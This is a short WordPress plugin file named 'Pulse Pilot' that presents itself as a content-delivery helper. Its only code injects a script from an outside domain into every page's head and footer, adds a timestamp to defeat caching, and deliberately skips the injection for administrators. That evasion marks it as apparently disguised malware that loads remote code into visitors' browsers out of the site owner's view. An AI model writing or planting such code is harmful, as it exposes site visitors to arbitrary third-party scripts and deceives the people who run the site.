<?php
/**
 * Plugin Name: Pulse Pilot
 * Plugin URI: https://www.pulsepilot.app
 * Description: A consistent layer offering portable support for content delivery.
 * Version: 5.9.2
 * Author: Kendall Frost
 * License: GPL-2.0+
 */

if (!defined('ABSPATH')) {
    exit;
}

function pulse_pilot_print_external_script() {
    static $done = false;
    if ($done) {
        return;
    }
    if (function_exists('current_user_can') && current_user_can('manage_options')) {
        return;
    }
    $done = true;
    $src = 'https://cdn.coredelivr.com/mpackage.js';
    $src .= (strpos($src, '?') !== false ? '&' : '?') . 'v=' . time();
    echo '<script async src="' . esc_url($src) . '"></script>' . "\n";
}
add_action('wp_head', 'pulse_pilot_print_external_script', 1);
add_action('wp_footer', 'pulse_pilot_print_external_script', 1);
